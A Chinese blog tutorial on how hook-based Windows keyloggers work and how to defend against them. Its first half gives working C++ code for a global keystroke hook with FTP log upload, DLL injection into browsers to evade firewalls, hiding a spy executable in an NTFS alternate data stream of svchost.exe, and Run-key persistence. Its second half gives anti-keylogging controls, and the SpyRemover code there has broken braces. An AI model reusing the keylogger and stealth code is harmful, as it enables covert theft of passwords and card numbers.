文档章节

键盘谍影 键盘监视器的原理和防范

乐搏学院
 乐搏学院
发布于 2017/01/22 15:07
字数 2887
阅读 6
收藏 0

简介

  本文将详细讨论一个键盘监视器的C++/C#开发过程并针对反窥探提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。

  背景

  基于软件的键盘事件记录器是一个严重的安全威胁,因为它们通过捕获击键操作来监控用户的行动。监控器可以用于一些恶意的行为诸如盗窃信用卡号码等。例如,键击记录器就是Trojans病毒的一个基本组成部分,它们在后台安静地运行伺机捕获用户的击键操作。击键事件被保存在经过良好隐藏的文件中通过电子邮件或者FTP方式发送给窥探者。


  一、键盘监视器的设计

  下面是一个简单的,直接使用钩子技术实现的例子。

  键盘监视器体系结构

  键盘监视器由三个模块组成:主模块,钩子过程和FTP模块。主模块负责安装一个全局钩子过程。该钩子的任务是把每次按键事件向主模块汇报,由主模块把所有的击键保存到一个文件中。当记录文件达到预定的大小时,主模块命令FTP模块把记录文件上载给一个FTP服务器。三个模块间的通讯是通过Windows消息机制实现的。


  主模块Window过程代码如下:
 

///////////////////////////////////////////////////////////////////
// FUNCTION: WndProc(HWND, unsigned, WORD, LONG)
// 目的:处理主窗口中的消息
// MSG_MY_WM_KEYDOWN - 处理应用程序键击
// MSG_MY_WM_SETFOCUS - 处理应用程序键击
// MSG_WM_UPLOAD_FILE - 处理一个FTP模块通知
// WM_DESTROY - 寄送一个退出消息并返回
LRESULT CALLBACK WndProc(HWND hWnd, UINT message, WPARAM wParam,
LPARAM lParam)
{
 if (message == MSG_MY_WM_KEYDOWN)
  return OnInterceptKeyStroke(wParam, lParam);
 if (message == MSG_MY_WM_SETFOCUS)
  return OnSetKeyboardFocus(wParam, lParam);
 if (message == MSG_WM_UPLOAD_FILE)
  return OnFileUploaded(wParam, lParam);
 switch (message)
 {
  case WM_DESTROY:
   PostQuitMessage(0);
   break;
  default:
   return DefWindowProc(hWnd, message, wParam, lParam);
 }
 return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnInterceptKeyStroke(WPARAM wParam, LPARAM lParam)
{
 //如果我们在登录一个新的应用程序,应该打印一个适当的头
 if (g_hWinInFocus != g_hLastWin)
 {
  WriteNewAppHeader(g_hWinInFocus);
  g_hLastWin = g_hWinInFocus;
 }
 if (wParam==VK_RETURN || wParam==VK_TAB)
 {
  WriteToLog(’\n’);
 }
 else
 {
  BYTE keyStateArr[256];
  WORD word;
  UINT scanCode = lParam;
  char ch; 
  //把虚拟键代码转换成ascii码 
  GetKeyboardState(keyStateArr);
  ToAscii(wParam, scanCode, keyStateArr, &word, 0);
  ch = (char) word;

  if ((GetKeyState(VK_SHIFT) & 0x8000) && wParam >= ’a’&& wParam <= ’z’)
   ch += ’A’-’a’;
   WriteToLog(ch);
 }
 return 0;
}
///////////////////////////////////////////////////////////////////
LRESULT OnSetKeyboardFocus(WPARAM wParam, LPARAM lParam)
{
 g_hWinInFocus = (HWND)wParam;
 return S_OK;
}
///////////////////////////////////////////////////////////////////
LRESULT OnFileUploaded(WPARAM wParam, LPARAM lParam)
{
 //记录上载成功
 if (wParam)
 {
  DeleteFile(g_sSpyLogFileName2);
 }
 else
 {
  char temp[255];
  FILE* f1=fopen(g_sSpyLogFileName,"rt");
  FILE* f2=fopen(g_sSpyLogFileName2,"at");
  while (!feof(f1))
  {
   if (fgets(temp, 255, f1))
   {
    fputs(temp, f2);
   }
  }
  fclose(f1);
  fclose(f2);
  MoveFile(g_sSpyLogFileName2, g_sSpyLogFileName);
 }
 g_isUploading = false;
 return S_OK;
}


  全局WH_CBT钩子

   一个系统范围的钩子实际上是一个函数,它安装在当前运行的所有进程中,在被监视消息到达目标window过程之前予以监控。钩子过程用于监控系统中的各 种类型的事件-例如击键等等。可以通过调用Win32 API函数SetWindowsHookEx来安装一个钩子过程并指定调用该过程的钩子类型。一个WH_CBT钩子过程在窗口取得焦点并在击键事件从系统 消息队列被清除之前调用。所有桌面应用程序都在自己的上下文中调用一个全局的钩子过程,所以该钩子过程必须驻留在一个独立于应用程序的DLL中来安装钩子 过程。

  DLL共享内存区域

  一段DLL共享内存区域实际上是一个所有的DLL实例都可以看到的内存变量。主模块把它的窗口句柄保存在钩子DLL的共享内存区域中-该DLL使所有的钩子过程实例能够把窗口消息邮寄回主模块中。

  钩子过程共享内存区域并输出函数:
 

///////////////////////////////////////////////////////////////////
//共享的内存
#pragma data_seg(".adshared")
HWND g_hSpyWin = NULL;
#pragma data_seg()
#pragma comment(linker, "/SECTION:.adshared,RWS")
///////////////////////////////////////////////////////////////////
void CALLBACK SetSpyHwnd (DWORD hwnd)
{
 g_hSpyWin = (HWND) hwnd;
}
///////////////////////////////////////////////////////////////////
LRESULT CALLBACK HookProc (int nCode, WPARAM wParam, LPARAM lParam )
{
 if (nCode == HCBT_KEYSKIPPED && (lParam & 0x40000000))
 {
  if ((wParam==VK_SPACE)||(wParam==VK_RETURN)||(wParam==VK_TAB) ||(wParam>=0x2f ) &&(wParam<=0x100))
  {
   ::PostMessage(g_hSpyWin, MSG_MY_WM_KEYDOWN, wParam, lParam);
  }
 }
 else if (nCode == HCBT_SETFOCUS)
 {
  ::PostMessage(g_hSpyWin, MSG_MY_WM_SETFOCUS, wParam, lParam);

  if (bInjectFtpDll && ::FindWindow(COMM_WIN_CLASS, NULL) == NULL)
  {
   HINSTANCE hFtpDll;
   Init InitFunc;
   if (hFtpDll = ::LoadLibrary(FTP_DLL_NAME))
   {
    if (InitFunc = (Init) ::GetProcAddress (hFtpDll,"Init"))
    {
     (InitFunc)((DWORD)g_hSpyWin);
    }
   }
   bInjectFtpDll = false;
  }
 }
 return CallNextHookEx( 0, nCode, wParam, lParam);
}


  函数的主模块代码如下:
 

typedef LRESULT (CALLBACK *HookProc)(int nCode, WPARAM wParam,
LPARAM lParam);
typedef void (WINAPI *SetSpyHwnd)(DWORD);
HMODULE g_hHookDll = NULL;
HHOOK g_hHook = NULL;
bool InstallHook(HWND hwnd)
{
 SetSpyHwnd SetHwndFunc;
 HookProc HookProcFunc;

 if (g_hHookDll = LoadLibrary(SPY_DLL_NAME))
 {
  if (SetHwndFunc = (SetSpyHwnd) ::GetProcAddress(g_hHookDll,"SetSpyHwnd"))
  {
   //把主模块的HWND存储在共享存储区段
   (SetHwndFunc)((DWORD)hwnd);
   if (HookProcFunc = (HookProc) ::GetProcAddress(g_hHookDll,"HookProc"))
   {
    if (g_hHook = SetWindowsHookEx(WH_CBT, HookProcFunc,g_hHookDll, 0))
     return true;
   }
  }
 }
 return false;
}


  盗窃

  一个间谍程序为了防止自己被探测到必须隐藏好自己的踪迹。它们主要涉及三个技术区域:文件系统,任务管理器,防火墙。

  任务管理器盗窃

   ADS(Alternate Data Streams)是一项NTFS文件系统特性,它能使你把文件数据送于存在的文件中而不影响它们的功能,大小或者资源管理器等浏览工具的对它们的显示。带 有ADS的文件用本地文件浏览技术几乎是不可能检测到的。 一旦文件被注入该项特性,ADS即可被诸如传统的命令如type等执行。在激活时,ADS执行体以原始文件的方式出现并运行:你可以用Windows资源 管理器等进程观察器来试验。使用这种技术后,不仅可能隐藏一个文件,而且可能隐藏一个非法进程的执行体部分。事实上,如果安装了NTFS系统,你是不可能 本地式探测出以ADS方式隐藏的文件的。ADS特性不能够被取消(disabled),目前为止还没有办法来针对用户已经对其具有存取权限的文件限制这种 特性。示例程序为了简明之目地没有使用ADS。

  你可以用下例方式手工操作ADS。
 

Inject spy.exe to svchost.exe
"type spy.exe > c:\windows\system32\svchost.exe:spy.exe"
Run spy.exe
"start svchost.exe:spy.exe"


  防火墙盗窃

   大多数的防火墙软件都能探测和阻拦不经授权的程序接入因特网。主模块通过使用FTP模块把记录文件上载到一个FTP服务器。防火墙通过把FTP模块 DLL注入到另外一个已经安装的应用程序中来实现盗窃。DLL注入意味着强制一个不能被挂起的进程必须接受一个自己从来没有要求的DLL文件。示例中,我 选择把FTP模块注入或者Internet Explorer或者FireFox。DLL注入将会越过大多数防火墙软件的检测,特别在FTP服务器在探听80端口时。钩子过程DLL(它由函数 SetWindowsHookEx自动加载进入所有正运行进程)检查是被装入到Internet Explorer还是FireFox并加载(用LoadLibrary)了FTP模块DLL。从DllMain中调用LoadLibrary函数是不允许 的,因此DllMain设置了一个布尔变量来让钩子过程调用LoadLibrary库函数。

  下面是模块DllMain中的钩子过程:
 

BOOL APIENTRY DllMain( HANDLE hModule, DWORD ul_reason_for_call,
LPVOID lpReserved)
{
 switch (ul_reason_for_call)
 { 
  case DLL_PROCESS_ATTACH:
  {
   char processName[255];
   GetModuleFileName(GetModuleHandle( NULL ), processName,sizeof(processName) );
   strcpy(processName, _strlwr(processName));
   if (strstr(processName, "iexplore.exe") || strstr(processName, "firefox.exe"))
    bInjectFtpDll = true;
    break;
  }
  case DLL_THREAD_ATTACH:
  case DLL_THREAD_DETACH:
  case DLL_PROCESS_DETACH:
  break;
 }
 return TRUE;
}


  启动

  把监视程序加入到下列注册表键处将使得它能够在系统启动时被一起激发: 

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run.
  二、键盘监视的防范

  在这一节中,我将介绍两种简单的技术来帮助你的应用程序反击基于钩子技术的键盘监视程序。

  具有防范监视功能的密码编辑控件
 


   免于监视的编辑控件将针对每次用户击键生成一个模拟的随机键击串。监视程序将截获用户的击键和伪击键,这样以来使它很难或者不可能检索实际的输入的文 本。用户输入被存储于一个成员变量中-应用程序可以容易地通过编辑控件存取该变量的值。本例中的伪键击是通过调用Win32 API SendInput来实现的。下面这实现了两个控件-一个MFC版本,一个.NET版本。

  该编辑安全的控件假定函数SendInput生成键击的速度快于用户击键的速度。这可能导致编辑安全的控件在较慢的机器上返回错误的用户数据,特别是在运行C#实现版本时。

  VC++ MFC版本的CsafeEdit类:
 

void CSafeEdit::OnKeyUp(UINT nChar, UINT nRepCnt, UINT nFlags)
{
 if (nChar == VK_SHIFT || nChar == VK_CONTROL || nChar == VK_MENU)
  return;
 if (nChar == VK_DELETE || nChar == VK_BACK)
 {
  SetWindowText("");
  m_sRealText = "";
  return;
 }
 if (m_state == 0)
 {
  m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
  m_state = 1;
  CString text;
  GetWindowText(text);
  m_sRealText += text.Right(1);
 }
 else
 {
  if (m_state++ >= m_iDummyKeyStrokesCount)
   m_state = 0;
 }
 CEdit::OnKeyUp(nChar, nRepCnt, nFlags);
}
///////////////////////////////////////////////////////////////////
CString CSafeEdit::GetRealText()
{
 return m_sRealText;
}
///////////////////////////////////////////////////////////////////
int CSafeEdit::SendDummyKeyStrokes()
{
 srand((unsigned)::GetTickCount());
 int iKeyStrokeCount = rand() % 5 + 1;
 int key;
 INPUT inp[2];
 inp[0].type = INPUT_KEYBOARD;
 inp[0].ki.dwExtraInfo = ::GetMessageExtraInfo();
 inp[0].ki.dwFlags = 0;
 inp[0].ki.time = 0;
 for (int i=0; i < iKeyStrokeCount; i++)
 {
  key = rand() % (’Z’-’A’) + ’A’;
  inp[0].ki.wScan = key;
  inp[0].ki.wVk = key;
  inp[1] = inp[0];
  inp[1].ki.dwFlags = KEYEVENTF_KEYUP;
  SendInput(2, inp, sizeof(INPUT));
 }
 return iKeyStrokeCount;
}


  用C#实现的SafeEdit类:
 

public struct KEYDBINPUT
{
 public Int16 wVk;
 public Int16 wScan;
 public Int32 dwFlags;
 public Int32 time;
 public Int32 dwExtraInfo;
 public Int32 __filler1;
 public Int32 __filler2;
}
public struct INPUT
{
 public Int32 type;
 public KEYDBINPUT ki;
}
[DllImport("user32")] public static extern int
SendInput( int cInputs, ref INPUT pInputs, int cbSize );
protected void OnKeyUp(object sender, System.Windows.Forms.KeyEventArgs e)
{
 if (e.KeyData == Keys.ShiftKey || e.KeyData == Keys.ControlKey || e.KeyData == Keys.Alt)
  return;
 if (e.KeyData == Keys.Delete || e.KeyData == Keys.Back)
 {
  Text = "";
  m_sRealText = "";
  return;
 }
 if (m_state == 0)
 {
  m_iDummyKeyStrokesCount = SendDummyKeyStrokes();
  m_state = 1;
  m_sRealText += Text[Text.Length-1];
 }
 else
 {
  if (m_state++ >= m_iDummyKeyStrokesCount)
  m_state = 0;
 }
}
public int SendDummyKeyStrokes()
{
 short key;
 Random rand = new Random();
 int iKeyStrokeCount = rand.Next(1, 6);
 INPUT inputDown = new INPUT();
 inputDown.type = INPUT_KEYBOARD;
 inputDown.ki.dwFlags = 0;
 INPUT inputUp = new INPUT();
 inputUp.type = INPUT_KEYBOARD;
 inputUp.ki.dwFlags = KEYEVENTF_KEYUP;
 for (int i=0; i < iKeyStrokeCount; i++)
 {
  key = (short) rand.Next(’A’, ’Z’);
  inputDown.ki.wVk = key;
  SendInput( 1, ref inputDown, Marshal.SizeOf( inputDown ) );
  inputUp.ki.wVk = key;
  SendInput( 1, ref inputUp, Marshal.SizeOf( inputUp ) );
 }
 return iKeyStrokeCount;
}


  SpyRemover类
 


   基于钩子技术的监视程序依赖于它们的钩子过程DLL。将钩子DLL从应用程序进程中移去将使注入该应用程序的窥探程序失去窥探键击的功能。示例程序使用 类SpyRemover来移去钩子DLL文件。SpyRemover构造器接收一个"授权模块"的列表。如果一个模块只是装入到一个应用程序中但是没有出 现在该列表中被认为是没有授权的。SpyRemover通过枚举所有的应用程序进程模块来探测未经授权的模块。
 

VOID SpyRemover::TimerProc(HWND hwnd, UINT uMsg,
unsigned int idEvent, DWORD dwTime)
{
 m_SpyRemover->EnumModules();
}
//////////////////////////////////////////////////////////////////
SpyRemover::SpyRemover(char* szAuthorizedList)
{
 m_SpyRemover = this;
 m_szAuthorizedList = " ";
 m_szAuthorizedList += szAuthorizedList;
 m_szAuthorizedList += " ";
 m_szAuthorizedList.MakeLower();
 ::SetTimer(NULL, 0, 500, TimerProc);
}
///////////////////////////////////////////////////////////////////
void SpyRemover::EnumModules()
{
 DWORD dwPID = ::GetCurrentProcessId();
 HANDLE hModuleSnap = INVALID_HANDLE_VALUE;
 MODULEENTRY32 me32;
 //取得当前进程所有模块的一个快照
 hModuleSnap = CreateToolhelp32Snapshot( TH32CS_SNAPMODULE, dwPID );
 if( hModuleSnap == INVALID_HANDLE_VALUE )
  return;
 me32.dwSize = sizeof( MODULEENTRY32 );
 //检索关于第一个模块(application.exe)的信息
 if( !Module32First( hModuleSnap, &me32 ) )
 {
  CloseHandle( hModuleSnap );
  return;
 }
 //遍历当前进程的模块列表
 do
 {
  if (!IsModuleAuthorized(me32.szModule))
  {
   HMODULE hmodule = me32.hModule;
   CloseHandle(hModuleSnap);
   FreeLibrary(hmodule);
   return;
  } while( Module32Next( hModuleSnap, &me32 ) );
  CloseHandle(hModuleSnap);
 }
 ///////////////////////////////////////////////////////////////////
 bool SpyRemover::IsModuleAuthorized(char* szModuleName)
 {
  char szModule[1024];
  sprintf(szModule, " %s ", szModuleName);
  strcpy(szModule, _strlwr(szModule));
  if (strstr(m_szAuthorizedList, szModule))
   return true;
  else
   return false;
 }


  小结
 

  本文以软件保护为背景,详细讨论了一个键盘监视器的开发并针对反监视提出了一些建议。希望读者理解基于钩子技术的窥探软件的工作原理以更好地针对自己的软件加以保护。另外,本文所附代码在Windows 2000/.NET 2003环境下调试通过。

 

登录乐搏学院官网http://www.learnbo.com/

或关注我们的官方微博微信,还有更多惊喜哦~

 

本文出自 “青峰” 博客,转载请与作者联系!

© 著作权归作者所有

乐搏学院
粉丝 9
博文 526
码字总数 707467
作品 0
丰台
程序员
私信 提问
arduino从零开始(10)从arduino向电脑发送数据

  你将学到什么   1、 你将学到如何从arduino发送数据到电脑   2、 你将学会使用arduino的串口监视器   到目前为止,我们上传程序给arduino,使用LED来向我们提供信息(如温度变化等...

Python与Arduino
2018/02/10
0
0
i3 窗口管理器使 Linux 更美好

通过键盘操作的 i3 平铺窗口管理器使用 Linux 桌面。 Linux(和一般的开源软件)最美好的一点是自由 —— 可以在不同的替代方案中进行选择以满足我们的需求。 我使用 Linux 已经很长时间了,...

作者: Ricardo Gerardi
2018/11/28
0
0
G2全键盘终成真 HTC myTouch2谍照曝光

此前,我们曾经为大家介绍过HTC Magic(即G2)将推出全键盘版的消息,如今这款手机终于出现在了我们面前。国外媒体最新曝光了T-Mobile即将推出的myTouch2的照片,根据这一命名以及手机配置来看...

JavaGG
2010/03/24
125
0
GLFW 3.0 发布,OpenGL 应用框架

GLFW 3.0 发布了,该版本移除了废弃的功能,同时增加了新的 API 用于支持多窗口和监视器,支持 sRGB、可靠性、OpenGL ES、high-DPI、gamma ramps、更多事件的回调、剪贴板文本 I/O,错误描述...

oschina
2013/06/17
3.5K
6
基于FPGA的4x4矩阵键盘驱动调试

好久不见,因为博主最近两个月有点事情,加上接着考试,考完试也有点事情要处理,最近才稍微闲了一些,这才赶紧记录分享一篇博文。FPGA驱动4x4矩阵键盘。这个其实原理是十分简单,但是由于博...

NingHeChuan
2018/08/01
0
0

没有更多内容

加载失败,请刷新页面

加载更多

python学习10.04:Python list列表使用技巧及注意事项

前面章节介绍了很多关于 list 列表的操作函数,细心的读者可能会发现,有很多操作函数的功能非常相似。例如,增加元素功能的函数有 append() 和 extend(),删除元素功能的有 clear()、 remo...

太空堡垒185
10分钟前
1
0
新手插画学习的方法?教你如何自学?

插画学习的方法?教你如何自学? 从小喜欢画一些漫画头像随笔画,但是其实没有基础。个人偏好小清新手绘风的插画(如下图),每每看到都希望自己能画出这样的作品。 我其实很想说画这种美术功...

huihuajiaocheng
15分钟前
3
0
面试题

1、实现clone();

gtandsn
26分钟前
3
0
CentOS 7 部署 tesseract-ocr

官方地址 github yum-config-manager --add-repo https://download.opensuse.org/repositories/home:/Alexander_Pozdnyakov/CentOS_7/ 若提示 yum-config-manager: command not found 执行以......

阿白
26分钟前
2
0
JAVA比较器中comparator的使用

一个专用的比较器Comparator Comparator是一个专用的比较器,当一个不支持自比较或者自比较函数不能满足要求时,可写一个比较器来完成两个对象之间大小的比较。Comparator体现了一种策略模式...

daxiongdi
27分钟前
2
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部